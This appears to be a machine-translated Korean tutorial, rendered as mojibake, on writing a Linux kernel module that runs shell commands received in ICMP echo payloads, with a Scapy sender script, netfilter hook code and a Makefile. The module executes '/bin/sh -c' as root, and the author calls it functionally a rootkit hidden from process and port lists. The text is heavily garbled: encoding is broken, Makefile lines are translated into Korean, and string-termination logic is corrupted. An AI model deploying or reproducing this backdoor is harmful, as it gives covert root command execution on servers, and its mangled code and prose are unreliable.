TL; DR: ์ ๋ SSH๊ฐ ์ถฉ๋ํ๋๋ผ๋ ICMP ํ์ด๋ก๋์์ ๋ช ๋ น์ ์ฝ๊ณ ์๋ฒ์์ ์คํํ๋ ์ปค๋ ๋ชจ๋์ ์์ฑ ์ค์ ๋๋ค. ๊ฐ์ฅ ์ฐธ์์ฑ์ด ์๋ ์ฌ๋์ ์ํด ๋ชจ๋ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค. .
์ฃผ์! ์๋ จ๋ C ํ๋ก๊ทธ๋๋จธ๋ผ๋ฉด ํผ๋๋ฌผ์ ํ๋ฆด์ง๋ ๋ชจ๋ฆ ๋๋ค! ์ ๊ฐ ์ฌ์ฉํ๋ ์ฉ์ด๊ฐ ํ๋ฆด ์๋ ์์ง๋ง, ์ด๋ค ๋นํ์ด๋ ํ์ํฉ๋๋ค. ์ด ๊ธ์ C ํ๋ก๊ทธ๋๋ฐ์ ๋ํ ๊ธฐ์ด์ ์ธ ์ดํด๋ง ์๋ ๋ถ๋ค์ด C ์ฝ๋์ ์๋ ๋ฐฉ์์ ์ด์ง ์ฟ๋ณด๊ณ ์ถ์ด ํ์ค ๋ ์ฐธ๊ณ ํ์๊ธฐ ๋ฐ๋๋๋ค. Linux.
๋ด ์ฒซ ๋๊ธ์ ์ผ๋ถ "์ผ๋ฐ" ํ๋กํ ์ฝ, ํนํ HTTPS, ICMP, ์ฌ์ง์ด DNS๋ฅผ ๋ชจ๋ฐฉํ ์ ์๋ SoftEther VPN์ ๋ํด ์ธ๊ธํ์ต๋๋ค. ๋๋ HTTP(S)์ ๋งค์ฐ ์ต์ํ๊ณ ICMP์ DNS๋ฅผ ํตํ ํฐ๋๋ง์ ๋ฐฐ์์ผ ํ๊ธฐ ๋๋ฌธ์ ๊ทธ ์ค ์ฒซ ๋ฒ์งธ๋ง ์๋ํ๋ค๊ณ ์์ํ ์ ์์ต๋๋ค.

๋ค, 2020๋
์ ICMP ํจํท์ ์์์ ํ์ด๋ก๋๋ฅผ ์ฝ์
ํ ์ ์๋ค๋ ์ฌ์ค์ ์๊ฒ ๋์์ต๋๋ค. ํ์ง๋ง ๋ฆ์์ง๋ง ์ง๊ธ์ด๋ผ๋ ์๊ฒ ๋ ๊ฒ ๋คํ์ด์ฃ ! ๊ทธ๋ฆฌ๊ณ ๋ญ๊ฐ ํ ์ ์๋ค๋ฉด ํด์ผ ํ ์ผ์
๋๋ค. ์ ๋ ์ฃผ๋ก ๋ช
๋ น์ค์ ์ฌ์ฉํ๊ณ SSH๋ ํ์ฉํ๊ธฐ ๋๋ฌธ์ ICMP ์
ธ์ ๋ง๋๋ ์์ด๋์ด๊ฐ ๊ฐ์ฅ ๋จผ์ ๋ ์ฌ๋์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ ์๋ฒฝํ Bullshield ๋น๊ณ ๋ฅผ ๋ง๋ค๊ธฐ ์ํด ๋ชจ๋ ํํ๋ก ์์ฑํ๊ธฐ๋ก ํ์ต๋๋ค. Linux ์ ๊ฐ ๋๋ต์ ์ผ๋ก๋ง ์ดํดํ๋ ์ธ์ด๋ก ์์ฑ๋ ์
ธ์
๋๋ค. ์ด๋ฌํ ์
ธ์ ํ๋ก์ธ์ค ๋ชฉ๋ก์ ํ์๋์ง ์๊ณ , ์ปค๋์ ๋ก๋๋ ์ ์์ผ๋ฉฐ ํ์ผ ์์คํ
์ ์์ฃผํ์ง ์๊ณ , ์์ ํฌํธ ๋ชฉ๋ก์์๋ ์์ฌ์ค๋ฌ์ด ๊ฒ์ ์ฐพ์ ์ ์์ต๋๋ค. ๊ธฐ๋ฅ์ ์ผ๋ก๋ ์์ ํ ๋ฃจํธํท์ด์ง๋ง, ํฅํ ๊ฐ์ ํ์ฌ ๋ก๋ ํ๊ท ์ด ๋๋ฌด ๋์ SSH๋ก ๋ก๊ทธ์ธํ์ฌ ๊ธฐ๋ณธ์ ์ธ ์์
์กฐ์ฐจ ์ํํ ์ ์์ ๋ ์ตํ์ ์๋จ์ผ๋ก ์ฌ์ฉํ ์
ธ๋ก ๋ง๋ค๊ณ ์ถ์ต๋๋ค. echo i > /proc/sysrq-trigger์ฌ๋ถํ
ํ์ง ์๊ณ ์ก์ธ์ค๋ฅผ ๋ณต์ํฉ๋๋ค.
์ฐ๋ฆฌ๋ ํ ์คํธ ํธ์ง๊ธฐ, Python ๋ฐ C์ ๊ธฐ๋ณธ ํ๋ก๊ทธ๋๋ฐ ๊ธฐ์ , Google ๋ฐ ๋ชจ๋ ๊ฒ์ด ๊ณ ์ฅ๋๋๋ผ๋(์ ํ ์ฌํญ - ๋ก์ปฌ VirtualBox/KVM/๋ฑ) ์นผ ๋ฐ์ ๋ฃ์ด๋ ๊ด์ฐฎ์ต๋๋ค.
ํด๋ผ์ด์ธํธ ๋ถ๋ถ
ํด๋ผ์ด์ธํธ ๋ถ๋ถ์ 80์ค ์ ๋์ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํด์ผ ํ ๊ฒ ๊ฐ์๋๋ฐ, ์น์ ํ๊ฒ ํด์ฃผ์๋ ๋ถ๋ค์ด ๊ณ์ จ์ด์. . ์ฝ๋๋ ์์์ธ๋ก ๊ฐ๋จํ์ฌ 10๊ฐ์ ์ค์ํ ์ค์ ๋ค์ด๋ง์ต๋๋ค.
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show() ์คํฌ๋ฆฝํธ๋ ์ฃผ์์ ํ์ด๋ก๋๋ผ๋ ๋ ๊ฐ์ง ์ธ์๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ ์กํ๊ธฐ ์ ์ ํ์ด๋ก๋ ์์ ํค๊ฐ ์ต๋๋ค. run:, ๋ฌด์์ ํ์ด๋ก๋๊ฐ ์๋ ํจํค์ง๋ฅผ ์ ์ธํ๋ ค๋ฉด ์ด ์ ๋ณด๊ฐ ํ์ํฉ๋๋ค.
์ปค๋์ด ํจํท์ ์์ฑํ๋ ค๋ฉด ๊ถํ์ด ํ์ํ๋ฏ๋ก ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃจํธ ๊ถํ์ผ๋ก ์คํํด์ผ ํฉ๋๋ค. ์คํ ๊ถํ์ ๋ถ์ฌํ๊ณ Scapy ์์ฒด๋ฅผ ์ค์นํ๋ ๊ฒ์ ์์ง ๋ง์ธ์. Debian ํจํค์ง ์ด๋ฆ์ด ์์ต๋๋ค python3-scapy. ์ด์ ๋ชจ๋ ๊ฒ์ด ์ด๋ป๊ฒ ์๋ํ๋์ง ํ์ธํ ์ ์์ต๋๋ค.
๋ช
๋ น ์คํ ๋ฐ ์ถ๋ ฅ
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
์ค๋ํผ์์๋ ์ด๋ ๊ฒ ๋์ค๋ค์
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 ์คํ:์๋
ํ์ธ์, ์ธ์
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[๊ธธ์ด: 17]
ํ๋ ์ 2: ์์ด์ด์ 59๋ฐ์ดํธ(472๋นํธ), ์ธํฐํ์ด์ค wlp59s472์ ์บก์ฒ๋ 1๋ฐ์ดํธ(0๋นํธ), ID 0
์ธํฐ๋ท ํ๋กํ ์ฝ ๋ฒ์ 4, ์ถ์ฒ: 45.11.26.232, ๋์: 192.168.0.240
์ธํฐ๋ท ์ ์ด ๋ฉ์์ง ํ๋กํ ์ฝ
์ ํ: 0(์์ฝ(ํ) ์๋ต)
์ฝ๋ : 0
์ฒดํฌ์ฌ: 0xde03 [์ ํํจ]
[์ฒดํฌ์ฌ ์ํ: ์ํธ]
์๋ณ์(BE): 0(0x0000)
์๋ณ์(LE): 0(0x0000)
์ํ์ค ๋ฒํธ(BE): 0(0x0000)
์ํ์ค ๋ฒํธ(LE): 0(0x0000)
[์์ฒญ ํ๋ ์: 1]
[์๋ต์๊ฐ : 19.094ms]
๋ฐ์ดํฐ(17๋ฐ์ดํธ)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 ์คํ:์๋
ํ์ธ์, ์ธ์
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[๊ธธ์ด: 17]
^C2 ํจํท์ด ์บก์ฒ๋์์ต๋๋ค
์๋ต ํจํค์ง์ ํ์ด๋ก๋๋ ๋ณ๊ฒฝ๋์ง ์์ต๋๋ค.
์ปค๋ ๋ชจ๋
๊ฐ์ ๋จธ์ ์์ ๋น๋ํ๋ ค๋ฉด Debian ์ต์ํ์ด ํ์ํฉ๋๋ค make ะธ linux-headers-amd64, ๋๋จธ์ง๋ ์ข
์์ฑ์ ํํ๋ก ์ ๊ณต๋ฉ๋๋ค. ๊ธฐ์ฌ์์๋ ์ ์ฒด ์ฝ๋๋ฅผ ์ ๊ณตํ์ง ์์ผ๋ฏ๋ก Github์์ ๋ณต์ ํ ์ ์์ต๋๋ค.
ํํฌ ์ค์
์ฐ์ , ๋ชจ๋์ ๋ก๋ํ๊ณ ์ธ๋ก๋ํ๋ ค๋ฉด ๋ ๊ฐ์ง ํจ์๊ฐ ํ์ํฉ๋๋ค. ์ธ๋ก๋ ๊ธฐ๋ฅ์ ํ์ํ์ง ์์ง๋ง, rmmod ์๋ํ์ง ์์ต๋๋ค. ๋ชจ๋์ ๊บผ์ง ๋๋ง ์ธ๋ก๋๋ฉ๋๋ค.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);๋ฌด์จ ์ผ์ด์ผ?
- ๋ชจ๋ ์์ฒด์ netfilter๋ฅผ ์กฐ์ํ๊ธฐ ์ํด ๋ ๊ฐ์ ํค๋ ํ์ผ์ ๊ฐ์ ธ์ต๋๋ค.
- ๋ชจ๋ ์์
์ ๋ทํํฐ๋ฅผ ๊ฑฐ์น๋ฉฐ ์ฌ๊ธฐ์ ํํฌ๋ฅผ ์ค์ ํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ ค๋ฉด ํํฌ๋ฅผ ๊ตฌ์ฑํ ๊ตฌ์กฐ๋ฅผ ์ ์ธํด์ผ ํฉ๋๋ค. ๊ฐ์ฅ ์ค์ํ ๊ฒ์ ํํฌ๋ก ์คํ๋ ํจ์๋ฅผ ์ง์ ํ๋ ๊ฒ์
๋๋ค.
nfho.hook = icmp_cmd_executor;๋์ค์ ํจ์ ์์ฒด์ ๋ํด ์์๋ณด๊ฒ ์ต๋๋ค.
๊ทธ๋ฐ ๋ค์ ํจํค์ง ์ฒ๋ฆฌ ์๊ฐ์ ์ค์ ํฉ๋๋ค.NF_INET_PRE_ROUTINGํจํค์ง๊ฐ ์ปค๋์ ์ฒ์ ๋ํ๋ ๋ ํจํค์ง๋ฅผ ์ฒ๋ฆฌํ๋๋ก ์ง์ ํฉ๋๋ค. ์ฌ์ฉ๋ ์ ์๋คNF_INET_POST_ROUTING์ปค๋์ ์ข ๋ฃํ ๋ ํจํท์ ์ฒ๋ฆฌํฉ๋๋ค.
ํํฐ๋ฅผ IPv4๋ก ์ค์ ํ์ต๋๋ค.nfho.pf = PF_INET;.
๋๋ ๋ด ํํฌ์ ๊ฐ์ฅ ๋์ ์ฐ์ ์์๋ฅผ ๋ถ์ฌํฉ๋๋ค.nfho.priority = NF_IP_PRI_FIRST;
๊ทธ๋ฆฌ๊ณ ๋ฐ์ดํฐ ๊ตฌ์กฐ๋ฅผ ์ค์ ํํฌ๋ก ๋ฑ๋กํฉ๋๋ค.nf_register_net_hook(&init_net, &nfho); - ๋ง์ง๋ง ํจ์๋ ํํฌ๋ฅผ ์ ๊ฑฐํฉ๋๋ค.
- ์ปดํ์ผ๋ฌ๊ฐ ๋ถํํ์ง ์๋๋ก ๋ผ์ด์ผ์ค๊ฐ ๋ช ํํ๊ฒ ํ์๋์ด ์์ต๋๋ค.
- ๊ธฐ๋ฅ
module_init()ะธmodule_exit()๋ชจ๋์ ์ด๊ธฐํํ๊ณ ์ข ๋ฃํ๋ ๋ค๋ฅธ ๊ธฐ๋ฅ์ ์ค์ ํฉ๋๋ค.
ํ์ด๋ก๋ ๊ฒ์
์ด์ ํ์ด๋ก๋๋ฅผ ์ถ์ถํด์ผ ํ๋๋ฐ ์ด๊ฒ์ด ๊ฐ์ฅ ์ด๋ ค์ด ์์ ์ด์์ต๋๋ค. ์ปค๋์๋ ํ์ด๋ก๋ ์์ ์ ์ํ ๋ด์ฅ ๊ธฐ๋ฅ์ด ์์ผ๋ฏ๋ก ์์ ์์ค ํ๋กํ ์ฝ์ ํค๋๋ง ๊ตฌ๋ฌธ ๋ถ์ํ ์ ์์ต๋๋ค.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}๋ฌด์จ ์ผ์ด์ผ:
- ์ด๋ฒ์๋ IP ๋ฐ ICMP ํค๋๋ฅผ ์กฐ์ํ๊ธฐ ์ํด ์ถ๊ฐ ํค๋ ํ์ผ์ ํฌํจํด์ผ ํ์ต๋๋ค.
- ์ต๋ ์ค ๊ธธ์ด๋ฅผ ์ค์ ํ์ต๋๋ค.
#define MAX_CMD_LEN 1976. ์ ํํ ์ ์ด๋ฐ๊ฐ์? ์ปดํ์ผ๋ฌ๊ฐ ๊ทธ๊ฒ์ ๋ํด ๋ถํํ๊ธฐ ๋๋ฌธ์ ๋๋ค! ๊ทธ๋ค์ ์ด๋ฏธ ๋์๊ฒ ์คํ๊ณผ ํ์ ์ดํดํด์ผ ํ๋ค๊ณ ์ ์ํ์ต๋๋ค. ์ธ์ ๊ฐ๋ ๋ฐ๋์ ์ด๋ฅผ ์ํํ๊ณ ์ฝ๋๋ฅผ ์์ ํ ์๋ ์์ต๋๋ค. ๋๋ ์ฆ์ ๋ช ๋ น์ ํฌํจํ ์ค์ ์ค์ ํ์ต๋๋ค.char cmd_string[MAX_CMD_LEN];. ๋ชจ๋ ํจ์์์ ๋ณผ ์ ์์ด์ผ ํ๋ฉฐ ์ด์ ๋ํด์๋ 9๋จ๋ฝ์์ ์์ธํ ์ค๋ช ํ๊ฒ ์ต๋๋ค. - ์ด์ ์ด๊ธฐํํด์ผ ํฉ๋๋ค(
struct work_struct my_work;) ๊ตฌ์กฐ๋ฅผ ๋ง๋ค๊ณ ์ด๋ฅผ ๋ค๋ฅธ ํจ์์ ์ฐ๊ฒฐํฉ๋๋ค(DECLARE_WORK(my_work, work_handler);). ์ด๊ฒ์ด ์ ํ์ํ์ง์ ๋ํด์๋ ์ํ ๋ฒ์งธ ๋ฌธ๋จ์์ ์ด์ผ๊ธฐํ๊ฒ ์ต๋๋ค. - ์ด์ ํํฌ๊ฐ ๋ ํจ์๋ฅผ ์ ์ธํฉ๋๋ค. ์ ํ๊ณผ ํ์ฉ๋๋ ์ธ์๋ netfilter์ ์ํด ๊ฒฐ์ ๋๋ฉฐ ์ฐ๋ฆฌ๋ ๋ค์์๋ง ๊ด์ฌ์ด ์์ต๋๋ค.
skb. ์ด๊ฒ์ ํจํท์ ๋ํด ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋ ์ ๋ณด๋ฅผ ํฌํจํ๋ ๊ธฐ๋ณธ ๋ฐ์ดํฐ ๊ตฌ์กฐ์ธ ์์ผ ๋ฒํผ์ ๋๋ค. - ํจ์๊ฐ ์๋ํ๋ ค๋ฉด ๋ ๊ฐ์ ๊ตฌ์กฐ์ ๋ ๊ฐ์ ๋ฐ๋ณต์๋ฅผ ํฌํจํ ์ฌ๋ฌ ๋ณ์๊ฐ ํ์ํฉ๋๋ค.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - ์ฐ๋ฆฌ๋ ๋
ผ๋ฆฌ๋ถํฐ ์์ํ ์ ์์ต๋๋ค. ๋ชจ๋์ด ์๋ํ๋ ค๋ฉด ICMP Echo ์ด์ธ์ ํจํท์ด ํ์ํ์ง ์์ผ๋ฏ๋ก ๋ด์ฅ ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ฒํผ๋ฅผ ๊ตฌ๋ฌธ ๋ถ์ํ๊ณ ICMP๊ฐ ์๋ ํจํท๊ณผ Echo๊ฐ ์๋ ํจํท์ ๋ชจ๋ ๋ฒ๋ฆฝ๋๋ค. ๋ฐํ
NF_ACCEPTํจํค์ง๋ฅผ ์๋ฝํ๋ค๋ ์๋ฏธ์ด์ง๋ง ๋ฐํ์ ํตํด ํจํค์ง๋ฅผ ์ญ์ ํ ์๋ ์์ต๋๋ค.NF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }IP ํค๋๋ฅผ ํ์ธํ์ง ์๊ณ ๋ฌด์จ ์ผ์ด ์ผ์ด๋ ์ง๋ ํ ์คํธํ์ง ์์์ต๋๋ค. C์ ๋ํ ๋์ ์ต์ํ์ ์ง์์ ์ถ๊ฐ ํ์ธ ์์ด๋ ๋์ฐํ ์ผ์ด ๋ฐ์ํ ์๋ฐ์ ์๋ค๋ ๊ฒ์ ๋งํด์ค๋๋ค. ๋น์ ์ด ๋๋ฅผ ์ค๋ํ๋ฉด ๊ธฐ๋ปํ ๊ฒ์ ๋๋ค!
- ์ด์ ํจํค์ง๊ฐ ํ์ํ ์ ํํ ์ ํ์ด๋ฏ๋ก ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค. ๋ด์ฅ ํจ์๊ฐ ์์ผ๋ฉด ๋จผ์ ํ์ด๋ก๋์ ์์ ๋ถ๋ถ์ ๋ํ ํฌ์ธํฐ๋ฅผ ๊ฐ์ ธ์์ผ ํฉ๋๋ค. ์ด ์์
์ ํ ๊ณณ์์ ์ํ๋ฉ๋๋ค. ํฌ์ธํฐ๋ฅผ ICMP ํค๋์ ์์ ๋ถ๋ถ์ผ๋ก ๊ฐ์ ธ์ ์ด ํค๋์ ํฌ๊ธฐ๋ก ์ด๋ํด์ผ ํฉ๋๋ค. ๋ชจ๋ ๊ฒ์ ๊ตฌ์กฐ๋ฅผ ์ฌ์ฉํ๋ค
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
ํค๋์ ๋์ ํ์ด๋ก๋์ ๋๊ณผ ์ผ์นํด์ผ ํฉ๋๋ค.skb๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ํด๋น ๊ตฌ์กฐ์ ํต ์๋จ์ ์ฌ์ฉํ์ฌ ์ด๋ฅผ ์ป์ต๋๋ค.tail = skb_tail_pointer(skb);.
์ฌ์ง์ด ๋๋๋นํ์ด์ , ์์ผ ๋ฒํผ์ ๋ํ ์์ธํ ๋ด์ฉ์ ์ฝ์ ์ ์์ต๋๋ค. - ์์๊ณผ ๋์ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๊ฐ ์์ผ๋ฉด ๋ฐ์ดํฐ๋ฅผ ๋ฌธ์์ด๋ก ๋ณต์ฌํ ์ ์์ต๋๋ค.
cmd_string, ์ ๋์ฌ๊ฐ ์๋์ง ํ์ธํ์ธ์.run:ํจํค์ง๊ฐ ๋๋ฝ๋ ๊ฒฝ์ฐ ํด๋น ํจํค์ง๋ฅผ ์ญ์ ํ๊ฑฐ๋ ์ด ์ ๋์ฌ๋ฅผ ์ ๊ฑฐํ์ฌ ์ค์ ๋ค์ ์์ฑํ์ธ์. - ๊ทธ๊ฒ ๋ค์
๋๋ค. ์ด์ ๋ค๋ฅธ ํธ๋ค๋ฌ๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค.
schedule_work(&my_work);. ์ด๋ฌํ ํธ์ถ์๋ ๋งค๊ฐ๋ณ์๋ฅผ ์ ๋ฌํ ์ ์์ผ๋ฏ๋ก ๋ช ๋ น์ด ํฌํจ๋ ํ์ ์ ์ญ์ ์ด์ด์ผ ํฉ๋๋ค.schedule_work()์ ๋ฌ๋ ๊ตฌ์กฐ์ ๊ด๋ จ๋ ๊ธฐ๋ฅ์ ์์ ์ค์ผ์ค๋ฌ์ ์ผ๋ฐ ๋๊ธฐ์ด์ ๋ฐฐ์นํ๊ณ ์๋ฃํ๋ฏ๋ก ๋ช ๋ น์ด ์๋ฃ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ์ง ์์๋ ๋ฉ๋๋ค. ์ด๋ ํํฌ๊ฐ ๋งค์ฐ ๋นจ๋ผ์ผ ํ๊ธฐ ๋๋ฌธ์ ํ์ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ์๋ฌด๊ฒ๋ ์์๋์ง ์๊ฑฐ๋ ์ปค๋ ํจ๋์ด ๋ฐ์ํ๊ฒ ๋ฉ๋๋ค. ์ง์ฐ์ ์ฃฝ์๊ณผ ๊ฐ์ต๋๋ค! - ๊ทธ๊ฒ ๋ค์ ๋๋ค. ํด๋น ๋ฐํ์ด ํฌํจ๋ ํจํค์ง๋ฅผ ์๋ฝํ ์ ์์ต๋๋ค.
์ฌ์ฉ์ ๊ณต๊ฐ์์ ํ๋ก๊ทธ๋จ ํธ์ถํ๊ธฐ
์ด ๊ธฐ๋ฅ์ด ๊ฐ์ฅ ์ดํดํ๊ธฐ ์ฝ์ต๋๋ค. ๊ทธ ์ด๋ฆ์ DECLARE_WORK(), ์ ํ ๋ฐ ํ์ฉ๋๋ ์ธ์๋ ํฅ๋ฏธ๋กญ์ง ์์ต๋๋ค. ๋ช
๋ น์ด ํฌํจ๋ ํ์ ๊ฐ์ ธ์ ์ ์ฒด๋ฅผ ์
ธ์ ์ ๋ฌํฉ๋๋ค. ๊ตฌ๋ฌธ ๋ถ์, ๋ฐ์ด๋๋ฆฌ ๊ฒ์ ๋ฐ ๊ธฐํ ๋ชจ๋ ์์
์ ๊ทธ์๊ฒ ๋งก๊ธฐ์ญ์์ค.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- ์ธ์๋ฅผ ๋ฌธ์์ด ๋ฐฐ์ด๋ก ์ค์
argv[]. ๋๋ ํ๋ก๊ทธ๋จ์ด ์ค์ ๋ก ๊ณต๋ฐฑ์ด ์๋ ์ฐ์๋ ์ ์ด ์๋๋ผ ์ด๋ฐ ๋ฐฉ์์ผ๋ก ์คํ๋๋ค๋ ๊ฒ์ ๋ชจ๋ ์ฌ๋์ด ์๊ณ ์๋ค๊ณ ๊ฐ์ ํ๊ฒ ์ต๋๋ค. - ํ๊ฒฝ ๋ณ์๋ฅผ ์ค์ ํฉ๋๋ค. ๋ชจ๋ ์ด๋ฏธ ๊ฒฐํฉ๋์ด ์๊ธฐ๋ฅผ ๋ฐ๋ผ๋ฉด์ ์ต์ํ์ ๊ฒฝ๋ก ์งํฉ์ด ์๋ PATH๋ง ์ฝ์
ํ์ต๋๋ค.
/binั/usr/binะธ/sbinั/usr/sbin. ๋ค๋ฅธ ๊ฒฝ๋ก๋ ์ค์ ๋ก ๊ฑฐ์ ์ค์ํ์ง ์์ต๋๋ค. - ๋์ด์, ํด๋ณด์! ์ปค๋ ๊ธฐ๋ฅ
call_usermodehelper()์ ์ฅ์ ๋ฐ์๋ค์ ๋๋ค. ๋ฐ์ด๋๋ฆฌ ๊ฒฝ๋ก, ์ธ์ ๋ฐฐ์ด, ํ๊ฒฝ ๋ณ์ ๋ฐฐ์ด. ์ฌ๊ธฐ์๋ ์คํ ํ์ผ ๊ฒฝ๋ก๋ฅผ ๋ณ๋์ ์ธ์๋ก ์ ๋ฌํ๋ ์๋ฏธ๋ฅผ ๋ชจ๋ ์ฌ๋์ด ์ดํดํ๋ค๊ณ ๊ฐ์ ํ์ง๋ง ์ง๋ฌธํ ์ ์์ต๋๋ค. ๋ง์ง๋ง ์ธ์๋ ํ๋ก์ธ์ค๊ฐ ์๋ฃ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆด์ง ์ฌ๋ถ๋ฅผ ์ง์ ํฉ๋๋ค(UMH_WAIT_PROC), ํ๋ก์ธ์ค ์์(UMH_WAIT_EXEC) ๋๋ ์ ํ ๊ธฐ๋ค๋ฆฌ์ง ์์(UMH_NO_WAIT). ์ข ๋ ์๋์UMH_KILLABLE, ๋๋ ๊ทธ๊ฒ์ ์กฐ์ฌํ์ง ์์์ต๋๋ค.
์กฐ๋ฆฝ
์ปค๋ ๋ชจ๋์ ์ด์
๋ธ๋ฆฌ๋ ์ปค๋ make-framework๋ฅผ ํตํด ์ํ๋ฉ๋๋ค. ๋ผ๊ณ ๋ถ๋ฆฌ๋ make ์ปค๋ ๋ฒ์ ๊ณผ ์ฐ๊ฒฐ๋ ํน์ ๋๋ ํ ๋ฆฌ ๋ด๋ถ(์ฌ๊ธฐ์ ์ ์๋จ: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ๋ชจ๋์ ์์น๊ฐ ๋ณ์์ ์ ๋ฌ๋ฉ๋๋ค. M ์ธ์์์. icmpshell.ko ๋ฐ clean ๋์์ ์ด ํ๋ ์์ํฌ๋ฅผ ์์ ํ ์ฌ์ฉํฉ๋๋ค. ์์ obj-m ๋ชจ๋๋ก ๋ณํ๋ ๊ฐ์ฒด ํ์ผ์ ๋ํ๋
๋๋ค. ๋ฆฌ๋ฉ์ดํฌ ๊ตฌ๋ฌธ main.o ะฒ icmpshell.o (icmpshell-objs = main.o) ์ ๊ฐ ๋ณด๊ธฐ์๋ ๊ทธ๋ค์ง ๋
ผ๋ฆฌ์ ์ด์ง ์์ ๊ฒ ๊ฐ์ง๋ง ๊ทธ๋ ์ต๋๋ค.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
์ ์ฒด: icmpshell.ko
icmpshell.ko:main.c
-C $(KERNELDIR) M=$(PWD) ๋ชจ๋์ ๋ง๋ญ๋๋ค.
๊นจ๋ํ:
make -C $(KERNELDIR) M=$(PWD) clean
์ฐ๋ฆฌ๋ ๋ค์์ ์์งํฉ๋๋ค: make. ๋ก๋ ์ค: insmod icmpshell.ko. ์๋ฃ๋์์ต๋๋ค. ๋ค์์ ํ์ธํ ์ ์์ต๋๋ค. sudo ./send.py 45.11.26.232 "date > /tmp/test". ์ปดํจํฐ์ ํ์ผ์ด ์๋ ๊ฒฝ์ฐ /tmp/test ์ฌ๊ธฐ์๋ ์์ฒญ์ด ์ ์ก๋ ๋ ์ง๊ฐ ํฌํจ๋์ด ์์ต๋๋ค. ์ด๋ ๊ทํ๊ฐ ๋ชจ๋ ์ผ์ ์ฌ๋ฐ๋ฅด๊ฒ ํ๊ณ ๋๋ ๋ชจ๋ ์ผ์ ์ฌ๋ฐ๋ฅด๊ฒ ํ๋ค๋ ์๋ฏธ์
๋๋ค.
๊ฒฐ๋ก
